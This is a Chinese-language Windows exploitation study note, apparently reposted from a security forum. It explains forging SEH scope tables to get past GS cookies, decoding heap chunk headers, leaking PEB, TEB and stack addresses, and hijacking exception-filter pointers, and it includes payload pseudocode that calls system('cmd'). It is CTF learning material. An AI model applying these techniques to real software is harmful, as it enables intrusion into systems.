pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone
32為系統下SEH結構體
//sehFrame
_EH3_EXCEPTION_REGISTRATION struc ; (sizeof=0x10, align=0x4, copyof_4)
0x0 Next dd ? ; offset
0x4 ExceptionHandler dd ? ; offset
0x8 ScopeTable dd ? ; XREF: _main+21/w ; offset
0xC TryLevel dd ? ; XREF: _main+57/w
0x10 _EH3_EXCEPTION_REGISTRATION ends
//scopeTable
_EH4_SCOPETABLE struc ; (sizeof=0x10, align=0x4, copyof_9, variable size)
0x0 GSCookieOffset dd ?
0x4 GSCookieXOROffset dd ?
0x8 EHCookieOffset dd ?
0xC EHCookieXOROffset dd ?
0x10 ScopeRecord _EH4_SCOPETABLE_RECORD 0 dup(?)
0x10 _EH4_SCOPETABLE ends
//scopeTable_Record
_EH4_SCOPETABLE_RECORD struc ; (sizeof=0xC, align=0x4, copyof_8)
0x0 EnclosingLevel dd ?
0x4 FilterFunc dd ? ; offset
0x8 HandlerFunc dd ? ; offset
0xC _EH4_SCOPETABLE_RECORD ends
GS Cookies 驗證代碼
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
會驗證兩個條件:
1、framePointer[scopeTable->GSCookieOffset] ^ framePointer[scopeTable->GSCookieXOROffset]== __security_cookie
2、framePointer[scopeTable->EHCookieOffset] ^ framePointer[scopeTable->EHCookieXOROffset]== __security_cookie
要繞過這檢查1,可以偽造scopeTable->GSCookieOffset=0xfffffffe。但是對於條件2,還沒有辦法。
異常觸發函數
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 異或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame=Next, framePointer=ebp
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 驗證 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
.
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;//-2跳出後面的循環
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 調用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
.
if ( filterFuncRet > 0 )
{
.
// 調用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
.
}
}
.
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
.
}
}
.
}
這裡要劫持filterFunc,就需要劫持scopeTable。這需要滿足兩個條件:需要能覆蓋掉sehFrame結構體,並且能洩露securityCookies。
payload#偽造scopeTable
scopeTable = [
0x0FFFFFFFE, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFFCC, #EHCookieOffset
0 #EHCookieXOROffset
]
scopeTable_Record = [
0xfffffffe, #EnclosingLevel=-2
system('cmd'), #FilterFunc
0
]
sehFrame = [
Next, #original
ExceptionHandler, #original
scopeTable_addr, #fake
trylevel #如果要偽造trylevel,就需要修改scopeTable,否則就不篡改,維持original
]
payload = flat(scopeTable + scopeTable_Record)
payload += padding
paylaod += GS#___security_cookie 相當於canary
payload += Next + ExceptionHandler +scopeTable_addr + flat(sehFrame)#覆蓋sehFrame結構
其中GS的位置計算方法如下:要滿足[ebp + scopeTable->EHCookieOffset] ^ [ebp + scopeTable->EHCookieXOROffset]=GS,scopeTable結構體的EHCookieOffset變量和EHCookieXOROffset變量所對應的ebp的偏移的位置的值抑或後等於GS。因此通常將EHCookieXOROffset設置為0,那麼GS放置的位置就等於ebp + scopeTable->EHCookieOffset。
64位與32位的區別1、windows 64位程序函數調用的參數順序依次為rcx,rdx,r8,r9
2、在調用system(cmd.exe)過程中,若出現MOVAPS [rsp+0x4f0],xmm0之類的錯誤而導致不能反彈shell,這是因為MOVAPS指令需要16位元組對齊,因此需要在rop鏈中修改gadget來調整棧空間
32位下,chunk頭部欄位信息
ntdll!_HEAP_FREE_ENTRY
+0 Size #chunk的大小,實際大小為Size*8
+2 PreviousSize #前一個chunk的大小,實際大小*8
+4 SmallTagIndex #用於檢查堆溢出的Cookie
+5 Flags #標誌位
+6 UnusedBytes #用於對齊的字節數
+7 SegmentIndex #所屬堆段號
+8 FreeList :[FD-BK]
Flags標誌位:
0x01 Busy #該塊處於佔用狀態
0x02 Extra present #該塊存在額外描述
0x04 Fill pattern #使用固定模式填充堆塊
0x08 Virtual Alloc #虛擬分配
0x10 Last entry #該段最後一個堆塊
SmallTagIndex 實際上是安全cookie,算法如下:_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
Heap Entry相當於Linux下的chunk,windows對前8個字節進行了加密,加密方式:與HEAP結構0x50偏移處8個字節抑或
例題:2020強網杯wingame
例如0xE50000處為HEAP結構,其HEAP+0x50為解密密鑰0C5FBB3EFE5600,而一般密鑰都是00結尾
將chunk的前8個字節與密鑰逐位異或,得到21000120 01020008。size=0x21*8=0x108
首先需要實現任意讀寫,洩露棧地址的過程如下:
ntdll -> ntdll!PebLdr洩露peb ->計算處teb -> 棧地址 ->遍歷查找ret地址
ret_content = base + 0x239a
ret_addr = 0
for i in range(stackbase,stackbase-0x1000,-4):
if ret_addr==0:
tmp = re(i)
if tmp==ret_content:
ret_addr = i
break
assert ret_addr>0
一段有用的gadget : mov [rcx],rdx; ret
這段gadget可以在ntdll.dll中可以找到,如果配合上pop rcx;ret以及pop rdx;ret可以實現任意地址寫並且在rop中傳參時也能發揮很好的作用
現在微軟應該是把在線符號表給牆了,因為某些原因不能科學上網(懶),所以在用windbg的時候無法下載符合本地系統的pdb。這裡我使用x64dbg進行調試。
1、在ida中打開ntdll,搜索函數LdrQueryImageFileExecutionOptions,交叉引用找到調用它的地方,如下圖所示:
2、在上面可以發現一個位於.data的全局變量peb_44(我自己命名的),然後找到它在.data中的位置,如下圖所示:
3、可以看到peb_44的偏移為ntdll+0x11dc54(這個偏移是我本機win10 版本號為18363的32位ntdll的偏移)
4、最後在調試器中定位到ntdll+0x11dc54,可以看到一個peb+0x44的值,從而可以洩露peb。
在NT內核系統中fs寄存器指向TEB結構,TEB+0x30處指向PEB結構,PEB+0x0c處指向PEB_LDR_DATA結構,PEB_LDR_DATA+0x1c處存放一些指向動態連結庫信息的鍊表地址,win7下第一個指向ntdl.dll,第三個就是kernel32.dll的。可以通過查看線程TEB+0x30的內容檢查是否為正確的PEB地址或者查看PEB+0xc是否為ntdll中的地址。
5、洩露棧地址
PEB->TEB->stack
PEB和TEB的偏移是固定的,在本地調試中的偏移為TEB=PEB+0x3000
在TEB前三個指針都是棧的指針,第一個估計是ebp附近的SEH_RECODE[1]的地址指針,第二個估計是stack base,第三個估計是stack end。我們搜索棧空間尋找返回地址時,大概從stack base-0x1000開始搜索到stack base這一個頁面的內容就行了。
如果原程序中沒有ntdll的導入表,可以從kernel32.dll中洩露,方法如下(源自https://xz.aliyun.com/t/6319#toc-4) :
可以從kernel32.dll中定位到NtCreateFile函數的偏移,因為NtCreateFile函數是從ntdll.dll的導入函數。在我win10 18363虛擬機中,偏移為kernel32.dll+0x819BC。
再進一步,如果只洩露了一個dll動態庫的地址,只要其有其他dll庫的導入函數,我們就有可能從其內存空間中洩露處其他dll庫的地址。
PEB結構中存放了RtlEnterCriticalSection()和RtlLeaveCriticalSection()函數指針,在程序正常退出時會調用ExitProcess(),為了同步線程該函數又會調用RtlEnterCriticalSection()及RtlLeaceCriticalSection()進行處理。
//32位
RtlEnterCriticalSection = &PEB + 0x20;
RtlLeaveCriticalSection = &PEB + 0x24;
系統默認異常處理函數(UEF,Unhandler Exception Filter)是系統處理異常時最後調用的一個異常處理例程,在堆溢出中,只需將這一地址覆蓋為我們的shellcode地址即可。獲取UEF地址的方法可以通過查看SetUnhandledExceptionFilter()的代碼來定位,接著再找到操作UnhandledExceptionFilter指針的MOV指令
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] ;UnhandledExceptionFilter指針
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
原文來自:先知社區
原文連結: https://xz.aliyun.com/t/8531
歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!